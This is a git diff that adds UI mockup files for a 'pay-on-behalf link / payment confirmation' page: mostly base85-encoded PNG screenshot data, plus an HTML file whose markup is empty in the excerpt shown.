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 FCIE1kv7G<_ literal 0 HcmV?d00001 diff --git a/代付页面/stitch_soul/_2/code.html b/代付页面/stitch_soul/_2/code.html new file mode 100644 index 00000000..7d0e007e --- /dev/null +++ b/代付页面/stitch_soul/_2/code.html @@ -0,0 +1,133 @@ + + + + + +生成代付链接 - 支付确认 + + + + + + + +
      + + + +
      + + + + + \ No newline at end of file diff --git a/代付页面/stitch_soul/_2/screen.png b/代付页面/stitch_soul/_2/screen.png new file mode 100644 index 0000000000000000000000000000000000000000..f086a12e9f23f4dda734554e072e680f36e2c106 GIT binary patch literal 151447 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 